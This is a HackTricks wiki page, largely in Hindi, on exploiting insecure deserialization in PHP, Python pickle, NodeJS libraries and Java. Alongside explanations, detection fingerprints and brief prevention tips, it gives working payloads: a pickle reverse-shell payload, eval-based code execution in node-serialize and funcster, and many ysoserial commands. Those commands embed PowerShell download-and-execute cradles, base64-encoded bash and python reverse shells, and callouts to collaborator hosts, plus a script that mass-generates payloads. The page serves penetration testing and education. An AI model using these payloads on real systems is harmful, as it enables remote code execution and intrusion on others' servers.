Deserialization

Support HackTricks

Basic Information

Serialization को एक ऑब्जेक्ट को एक ऐसे प्रारूप में परिवर्तित करने की विधि के रूप में समझा जाता है जिसे संरक्षित किया जा सके, जिसका उद्देश्य या तो ऑब्जेक्ट को संग्रहीत करना है या इसे संचार प्रक्रिया के हिस्से के रूप में प्रसारित करना है। इस तकनीक का सामान्यत: उपयोग यह सुनिश्चित करने के लिए किया जाता है कि ऑब्जेक्ट को बाद में फिर से बनाया जा सके, इसकी संरचना और स्थिति को बनाए रखते हुए।

Deserialization, इसके विपरीत, वह प्रक्रिया है जो serialization का प्रतिकार करती है। इसमें उस डेटा को लेना शामिल है जिसे एक विशिष्ट प्रारूप में संरचित किया गया है और इसे फिर से एक ऑब्जेक्ट में पुनर्निर्माण करना शामिल है।

Deserialization खतरनाक हो सकता है क्योंकि यह संभावित रूप से हमलावरों को अनुक्रमित डेटा में हेरफेर करने की अनुमति देता है ताकि हानिकारक कोड निष्पादित किया जा सके या ऑब्जेक्ट पुनर्निर्माण प्रक्रिया के दौरान एप्लिकेशन में अप्रत्याशित व्यवहार उत्पन्न कर सके।

PHP

PHP में, serialization और deserialization प्रक्रियाओं के दौरान विशिष्ट जादुई विधियों का उपयोग किया जाता है:

  • __sleep: जब एक ऑब्जेक्ट को अनुक्रमित किया जा रहा होता है, तब इसे बुलाया जाता है। यह विधि उन सभी गुणों के नामों का एक ऐरे लौटाना चाहिए जिन्हें अनुक्रमित किया जाना चाहिए। इसका सामान्यत: उपयोग लंबित डेटा को समर्पित करने या समान सफाई कार्य करने के लिए किया जाता है।

  • __wakeup: जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है, तब इसे बुलाया जाता है। इसका उपयोग उन किसी भी डेटाबेस कनेक्शनों को फिर से स्थापित करने के लिए किया जाता है जो serialization के दौरान खो गए हो सकते हैं और अन्य पुनः आरंभ कार्य करने के लिए।

  • __unserialize: यह विधि __wakeup के बजाय (यदि यह मौजूद है) तब बुलाई जाती है जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है। यह __wakeup की तुलना में deserialization प्रक्रिया पर अधिक नियंत्रण देती है।

  • __destruct: यह विधि तब बुलाई जाती है जब एक ऑब्जेक्ट नष्ट होने वाला होता है या जब स्क्रिप्ट समाप्त होती है। इसका सामान्यत: उपयोग सफाई कार्यों के लिए किया जाता है, जैसे फ़ाइल हैंडल या डेटाबेस कनेक्शनों को बंद करना।

  • __toString: यह विधि एक ऑब्जेक्ट को एक स्ट्रिंग के रूप में व्यवहार करने की अनुमति देती है। इसका उपयोग फ़ाइल पढ़ने या इसके भीतर फ़ंक्शन कॉल के आधार पर अन्य कार्यों के लिए किया जा सकता है, प्रभावी रूप से ऑब्जेक्ट का एक पाठ्य प्रतिनिधित्व प्रदान करता है।

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

यदि आप परिणामों को देखें तो आप देख सकते हैं कि फ़ंक्शन __wakeup और __destruct तब कॉल होते हैं जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाता है। ध्यान दें कि कई ट्यूटोरियल में आप पाएंगे कि __toString फ़ंक्शन तब कॉल होता है जब कुछ एट्रिब्यूट को प्रिंट करने की कोशिश की जाती है, लेकिन स्पष्ट रूप से यह अब नहीं हो रहा है

यदि इसे क्लास में लागू किया गया है, तो मेथड __unserialize(array $data) __wakeup() के बजाय कॉल किया जाता है। यह आपको ऑब्जेक्ट को डीसिरियलाइज़ करने की अनुमति देता है, जिसमें सीरियलाइज़ किया गया डेटा एक एरे के रूप में प्रदान किया जाता है। आप इस मेथड का उपयोग प्रॉपर्टीज़ को डीसिरियलाइज़ करने और डीसिरियलाइज़ेशन के दौरान आवश्यक कार्य करने के लिए कर सकते हैं।

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

आप एक समझाया हुआ PHP उदाहरण यहाँ पढ़ सकते हैं: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, यहाँ https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf या यहाँ https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

आप PHP ऑटोलोड कार्यक्षमता का दुरुपयोग करके मनमाने php फ़ाइलों को लोड कर सकते हैं और अधिक:

PHP - Deserialization + Autoload Classes

संदर्भित मानों को सीरियलाइज़ करना

यदि किसी कारणवश आप एक मान को दूसरे मान के संदर्भ के रूप में सीरियलाइज़ करना चाहते हैं तो आप कर सकते हैं:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC आपको PHP deserialization का दुरुपयोग करने के लिए payloads उत्पन्न करने में मदद कर सकता है। ध्यान दें कि कई मामलों में आप ऐप्लिकेशन के स्रोत कोड में deserialization का दुरुपयोग करने का कोई तरीका नहीं पाएंगे लेकिन आप बाहरी PHP एक्सटेंशन के कोड का दुरुपयोग कर सकते हैं। तो, यदि आप कर सकते हैं, तो सर्वर का phpinfo() जांचें और इंटरनेट पर खोजें (यहां तक कि PHPGGC के gadgets पर) कुछ संभावित gadgets जिन्हें आप दुरुपयोग कर सकते हैं।

phar:// metadata deserialization

यदि आपने एक LFI पाया है जो केवल फ़ाइल को पढ़ रहा है और इसके अंदर PHP कोड को निष्पादित नहीं कर रहा है, उदाहरण के लिए file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()** का उपयोग करके।** आप phar प्रोटोकॉल का उपयोग करके फ़ाइल पढ़ते समय होने वाली deserialization का दुरुपयोग करने की कोशिश कर सकते हैं। अधिक जानकारी के लिए निम्नलिखित पोस्ट पढ़ें:

phar:// deserialization

Python

Pickle

जब ऑब्जेक्ट unpickle होता है, तो फ़ंक्शन __reduce__ निष्पादित होगा। जब इसका दुरुपयोग किया जाता है, तो सर्वर एक त्रुटि वापस कर सकता है।

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if you're running python3.

For more information about escaping from pickle jails check:

Bypass Python sandboxes

Yaml & jsonpickle

The following page present the technique to abuse an unsafe deserialization in yamls python libraries and finishes with a tool that can be used to generate RCE deserialization payload for Pickle, PyYAML, jsonpickle and ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python's Prototype Pollution)

NodeJS

JS Magic Functions

JS के पास "जादुई" फ़ंक्शन नहीं हैं जैसे PHP या Python जो केवल एक ऑब्जेक्ट बनाने के लिए निष्पादित होंगे। लेकिन इसमें कुछ फ़ंक्शन हैं जो अक्सर बिना सीधे उन्हें कॉल किए उपयोग किए जाते हैं जैसे toString, valueOf, toJSON। यदि आप deserialization का दुरुपयोग करते हैं तो आप इन फ़ंक्शनों को अन्य कोड निष्पादित करने के लिए समझौता कर सकते हैं (संभावित रूप से प्रोटोटाइप प्रदूषण का दुरुपयोग करते हुए) आप जब इन्हें कॉल करते हैं तो मनमाना कोड निष्पादित कर सकते हैं।

एक और "जादुई" तरीका फ़ंक्शन को कॉल करने का बिना सीधे इसे कॉल किए है एक ऑब्जेक्ट को समझौता करना जो एक async फ़ंक्शन द्वारा लौटाया गया है (प्रॉमिस)। क्योंकि, यदि आप उस रिटर्न ऑब्जेक्ट को एक अन्य प्रॉमिस में "then" नामक फ़ंक्शन प्रकार की प्रॉपर्टी के साथ परिवर्तित करते हैं, तो यह निष्पादित होगा केवल इसलिए कि यह एक अन्य प्रॉमिस द्वारा लौटाया गया है। अधिक जानकारी के लिए इस लिंक का पालन करें.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ और prototype प्रदूषण

यदि आप इस तकनीक के बारे में जानना चाहते हैं तो निम्नलिखित ट्यूटोरियल पर एक नज़र डालें:

NodeJS - __proto__ & prototype Pollution

यह पुस्तकालय कार्यों को अनुक्रमित करने की अनुमति देता है। उदाहरण:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

The serialised object will looks like: सीरियलाइज्ड ऑब्जेक्ट इस तरह दिखेगा:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

आप उदाहरण में देख सकते हैं कि जब एक फ़ंक्शन को सीरियलाइज़ किया जाता है तो _$$ND_FUNC$$_ फ़्लैग सीरियलाइज़ किए गए ऑब्जेक्ट में जोड़ा जाता है।

फाइल node-serialize/lib/serialize.js के अंदर आप वही फ़्लैग और कोड का उपयोग कैसे किया जा रहा है, पा सकते हैं।

जैसा कि आप अंतिम कोड के टुकड़े में देख सकते हैं, यदि फ़्लैग पाया जाता है तो eval का उपयोग फ़ंक्शन को डीसिरियलाइज़ करने के लिए किया जाता है, इसलिए मूल रूप से उपयोगकर्ता इनपुट eval फ़ंक्शन के अंदर उपयोग किया जा रहा है

हालांकि, सिर्फ फ़ंक्शन को सीरियलाइज़ करना इसे निष्पादित नहीं करेगा क्योंकि यह आवश्यक होगा कि कोड का कुछ भाग y.rce को कॉल कर रहा हो हमारे उदाहरण में और यह अत्यधिक असंभव है। वैसे भी, आप बस सीरियलाइज़ किए गए ऑब्जेक्ट को संशोधित कर सकते हैं कुछ कोष्ठकों को जोड़कर ताकि जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाए तो सीरियलाइज़ किया गया फ़ंक्शन स्वचालित रूप से निष्पादित हो जाए। अगले कोड के टुकड़े में अंतिम कोष्ठक पर ध्यान दें और कैसे unserialize फ़ंक्शन स्वचालित रूप से कोड को निष्पादित करेगा:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

जैसा कि पहले संकेत दिया गया था, यह पुस्तकालय _$$ND_FUNC$$_ के बाद कोड प्राप्त करेगा और इसे eval का उपयोग करके निष्पादित करेगा। इसलिए, कोड को स्वचालित रूप से निष्पादित करने के लिए आप कार्यक्रम निर्माण भाग और अंतिम कोष्ठक को हटा सकते हैं और बस एक JS एकल रेखा निष्पादित कर सकते हैं जैसे कि निम्नलिखित उदाहरण में:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

आप यहां खोज सकते हैं इस कमजोरियों का शोषण करने के बारे में अधिक जानकारी

funcster का एक महत्वपूर्ण पहलू मानक अंतर्निहित वस्तुओं की अनुपलब्धता है; ये सुलभ दायरे से बाहर हैं। यह प्रतिबंध उन कोड के निष्पादन को रोकता है जो अंतर्निहित वस्तुओं पर विधियों को कॉल करने का प्रयास करते हैं, जैसे कि console.log() या require(something) का उपयोग करने पर "ReferenceError: console is not defined" जैसी अपवादों का सामना करना पड़ता है।

इस सीमा के बावजूद, एक विशिष्ट दृष्टिकोण के माध्यम से वैश्विक संदर्भ तक पूर्ण पहुंच को पुनर्स्थापित करना संभव है, जिसमें सभी मानक अंतर्निहित वस्तुएं शामिल हैं। वैश्विक संदर्भ का सीधे लाभ उठाकर, कोई इस प्रतिबंध को बायपास कर सकता है। उदाहरण के लिए, निम्नलिखित स्निपेट का उपयोग करके पहुंच को फिर से स्थापित किया जा सकता है:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

के लिए अधिक जानकारी के लिए इस स्रोत को पढ़ें.

serialize-javascript पैकेज विशेष रूप से अनुक्रमण के उद्देश्यों के लिए डिज़ाइन किया गया है, जिसमें कोई अंतर्निहित अव्यवस्थित करने की क्षमताएँ नहीं हैं। उपयोगकर्ता अव्यवस्थित करने के लिए अपनी स्वयं की विधि लागू करने के लिए जिम्मेदार हैं। अनुक्रमित डेटा को अव्यवस्थित करने के लिए आधिकारिक उदाहरण द्वारा eval का प्रत्यक्ष उपयोग सुझाया गया है:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

यदि इस फ़ंक्शन का उपयोग ऑब्जेक्ट्स को डीसिरियलाइज़ करने के लिए किया जाता है, तो आप इसे आसानी से शोषण कर सकते हैं:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

के लिए अधिक जानकारी के लिए इस स्रोत को पढ़ें.

Cryo पुस्तकालय

निम्नलिखित पृष्ठों पर आप इस पुस्तकालय का दुरुपयोग करके मनमाने आदेशों को निष्पादित करने के बारे में जानकारी पा सकते हैं:

Java - HTTP

Java में, deserialization callbacks deserialization की प्रक्रिया के दौरान निष्पादित होते हैं। इस निष्पादन का दुरुपयोग उन हमलावरों द्वारा किया जा सकता है जो ऐसे दुर्भावनापूर्ण payloads तैयार करते हैं जो इन callbacks को ट्रिगर करते हैं, जिससे हानिकारक क्रियाओं के संभावित निष्पादन की संभावना होती है।

Fingerprints

White Box

कोडबेस में संभावित serialization कमजोरियों की पहचान करने के लिए खोजें:

  • कक्षाएँ जो Serializable इंटरफ़ेस को लागू करती हैं।

  • java.io.ObjectInputStream, readObject, readUnshare फ़ंक्शंस का उपयोग।

विशेष ध्यान दें:

  • XMLDecoder का उपयोग बाहरी उपयोगकर्ताओं द्वारा परिभाषित पैरामीटर के साथ किया गया।

  • XStream का fromXML विधि, विशेष रूप से यदि XStream संस्करण 1.46 या उससे कम है, क्योंकि यह serialization समस्याओं के प्रति संवेदनशील है।

  • ObjectInputStream जो readObject विधि के साथ जुड़ा हुआ है।

  • readObject, readObjectNodData, readResolve, या readExternal जैसी विधियों का कार्यान्वयन।

  • ObjectInputStream.readUnshared

  • Serializable का सामान्य उपयोग।

Black Box

ब्लैक बॉक्स परीक्षण के लिए, उन विशिष्ट हस्ताक्षरों या "मैजिक बाइट्स" की तलाश करें जो java serialized objects को दर्शाते हैं (जो ObjectInputStream से उत्पन्न होते हैं):

  • हेक्साडेसिमल पैटर्न: AC ED 00 05

  • बेस64 पैटर्न: rO0

  • HTTP प्रतिक्रिया हेडर जिनमें Content-type application/x-java-serialized-object पर सेट है।

  • पूर्व संकुचन को दर्शाने वाला हेक्साडेसिमल पैटर्न: 1F 8B 08 00

  • पूर्व संकुचन को दर्शाने वाला बेस64 पैटर्न: H4sIA

  • .faces एक्सटेंशन वाले वेब फ़ाइलें और faces.ViewState पैरामीटर। इन पैटर्नों की खोज एक वेब एप्लिकेशन में एक परीक्षा का संकेत देनी चाहिए जैसा कि Java JSF ViewState Deserialization के बारे में पोस्ट में विस्तृत किया गया है।

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Check if vulnerable

यदि आप जानना चाहते हैं कि Java Deserialized exploit कैसे काम करता है तो आपको Basic Java Deserialization, Java DNS Deserialization, और CommonsCollection1 Payload पर एक नज़र डालनी चाहिए।

White Box Test

आप यह जांच सकते हैं कि क्या कोई ऐसा एप्लिकेशन स्थापित है जिसमें ज्ञात कमजोरियाँ हैं।

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

आप सभी लाइब्रेरीज़ की जांच करने की कोशिश कर सकते हैं जो ज्ञात हैं कि वे कमजोर हैं और जो Ysoserial एक शोषण प्रदान कर सकता है। या आप Java-Deserialization-Cheat-Sheet पर निर्दिष्ट लाइब्रेरीज़ की जांच कर सकते हैं। आप gadgetinspector का उपयोग संभावित गैजेट श्रृंखलाओं की खोज के लिए भी कर सकते हैं जिन्हें शोषित किया जा सकता है। जब आप gadgetinspector चला रहे हों (इसे बनाने के बाद) तो इसके द्वारा किए जा रहे ढेर सारे चेतावनियों/त्रुटियों की परवाह न करें और इसे पूरा होने दें। यह सभी निष्कर्षों को gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt में लिखेगा। कृपया ध्यान दें कि gadgetinspector एक शोषण नहीं बनाएगा और यह झूठे सकारात्मक संकेत दे सकता है

ब्लैक बॉक्स परीक्षण

Burp एक्सटेंशन gadgetprobe का उपयोग करके आप कौन सी लाइब्रेरीज़ उपलब्ध हैं (और यहां तक कि संस्करण भी) पहचान सकते हैं। इस जानकारी के साथ, कमजोरी का शोषण करने के लिए एक पेलोड चुनना आसान हो सकता हैगैजेटप्रोब के बारे में अधिक जानने के लिए इसे पढ़ें GadgetProbe ObjectInputStream deserializations पर केंद्रित है।

Burp एक्सटेंशन Java Deserialization Scanner का उपयोग करके आप कमजोर लाइब्रेरीज़ की पहचान कर सकते हैं जिन्हें ysoserial के साथ शोषित किया जा सकता है और उनका शोषण कर सकते हैं। Java Deserialization Scanner के बारे में अधिक जानने के लिए इसे पढ़ें। Java Deserialization Scanner ObjectInputStream deserializations पर केंद्रित है।

आप Freddy का उपयोग करके Burp में deserializations कमजोरियों का पता लगाने के लिए भी कर सकते हैं। यह प्लगइन केवल ObjectInputStream से संबंधित कमजोरियों का पता नहीं लगाएगा बल्कि Json और Yml deserialization लाइब्रेरीज़ से भी कमजोरियों का पता लगाएगा। सक्रिय मोड में, यह नींद या DNS पेलोड का उपयोग करके उन्हें पुष्टि करने की कोशिश करेगा। आप यहां Freddy के बारे में अधिक जानकारी प्राप्त कर सकते हैं।

Serialization परीक्षण

सभी कुछ यह जांचने के बारे में नहीं है कि क्या सर्वर द्वारा कोई कमजोर लाइब्रेरी का उपयोग किया जा रहा है। कभी-कभी आप serialized object के अंदर डेटा को बदलने और कुछ जांचों को बायपास करने में सक्षम हो सकते हैं (शायद आपको एक वेब ऐप के अंदर प्रशासनिक विशेषाधिकार प्रदान करें)। यदि आप एक जावा serialized object पाते हैं जो एक वेब एप्लिकेशन को भेजा जा रहा है, तो आप उपयोग कर सकते हैं SerializationDumper जिससे आप भेजे गए serialization object को अधिक मानव-पठनीय प्रारूप में प्रिंट कर सकते हैं। यह जानना कि आप कौन सा डेटा भेज रहे हैं, इसे संशोधित करना और कुछ जांचों को बायपास करना आसान होगा।

शोषण

ysoserial

जावा deserializations का शोषण करने के लिए मुख्य उपकरण ysoserial है (यहां डाउनलोड करें)। आप ysoseral-modified का उपयोग करने पर भी विचार कर सकते हैं जो आपको जटिल कमांड (उदाहरण के लिए पाइप के साथ) का उपयोग करने की अनुमति देगा। ध्यान दें कि यह उपकरण ObjectInputStream के शोषण पर केंद्रित है। मैं RCE पेलोड से पहले "URLDNS" पेलोड का उपयोग करना शुरू करूंगा यह परीक्षण करने के लिए कि क्या इंजेक्शन संभव है। वैसे भी, ध्यान दें कि शायद "URLDNS" पेलोड काम नहीं कर रहा है लेकिन अन्य RCE पेलोड काम कर रहा है।

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

जब java.lang.Runtime.exec() के लिए एक payload बनाते हैं, तो आप विशेष वर्ण जैसे ">" या "|" का उपयोग नहीं कर सकते हैं ताकि निष्पादन का आउटपुट पुनर्निर्देशित किया जा सके, "$()" का उपयोग करके आदेश निष्पादित करें या यहां तक कि कमांड के लिए तर्क पास करें जो स्पेस द्वारा अलग किए गए हैं (आप echo -n "hello world" कर सकते हैं लेकिन आप python2 -c 'print "Hello world"' नहीं कर सकते)। payload को सही तरीके से एन्कोड करने के लिए, आप इस वेबपेज का उपयोग कर सकते हैं।

Windows और Linux के लिए सभी संभावित कोड निष्पादन payloads बनाने के लिए अगले स्क्रिप्ट का उपयोग करने के लिए स्वतंत्र महसूस करें और फिर उन्हें कमजोर वेब पृष्ठ पर परीक्षण करें:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

आप उपयोग कर सकते हैं https://github.com/pwntester/SerialKillerBypassGadgetCollection और ysoserial के साथ अधिक एक्सप्लॉइट बनाने के लिए। इस टूल के बारे में अधिक जानकारी बातचीत की स्लाइड्स में है जहाँ टूल प्रस्तुत किया गया था: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec का उपयोग विभिन्न Json और Yml सीरियलाइजेशन लाइब्रेरीज़ को एक्सप्लॉइट करने के लिए पेलोड बनाने के लिए किया जा सकता है। प्रोजेक्ट को संकलित करने के लिए मुझे pom.xml में ये dependencies जोड़ने की आवश्यकता थी:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

maven स्थापित करें, और परियोजना को संकलित करें:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

इस Java JSON पुस्तकालय के बारे में अधिक पढ़ें: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Why

Java विभिन्न उद्देश्यों के लिए बहुत सारी serialization का उपयोग करता है जैसे:

  • HTTP requests: Serialization का व्यापक रूप से प्रबंधन में उपयोग किया जाता है जैसे कि parameters, ViewState, cookies, आदि।

  • RMI (Remote Method Invocation): Java RMI प्रोटोकॉल, जो पूरी तरह से serialization पर निर्भर करता है, Java अनुप्रयोगों में दूरस्थ संचार के लिए एक आधारशिला है।

  • RMI over HTTP: यह विधि Java-आधारित मोटे क्लाइंट वेब अनुप्रयोगों द्वारा सामान्यतः उपयोग की जाती है, जो सभी ऑब्जेक्ट संचार के लिए serialization का उपयोग करती है।

  • JMX (Java Management Extensions): JMX नेटवर्क पर ऑब्जेक्ट्स को भेजने के लिए serialization का उपयोग करता है।

  • Custom Protocols: Java में, मानक प्रथा कच्चे Java ऑब्जेक्ट्स के संचरण में शामिल होती है, जिसे आगामी exploit उदाहरणों में प्रदर्शित किया जाएगा।

Prevention

Transient objects

एक वर्ग जो Serializable को लागू करता है, वह वर्ग के अंदर किसी भी ऑब्जेक्ट को transient के रूप में लागू कर सकता है जिसे serializable नहीं होना चाहिए। उदाहरण के लिए:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Avoid Serialization of a class that need to implements Serializable

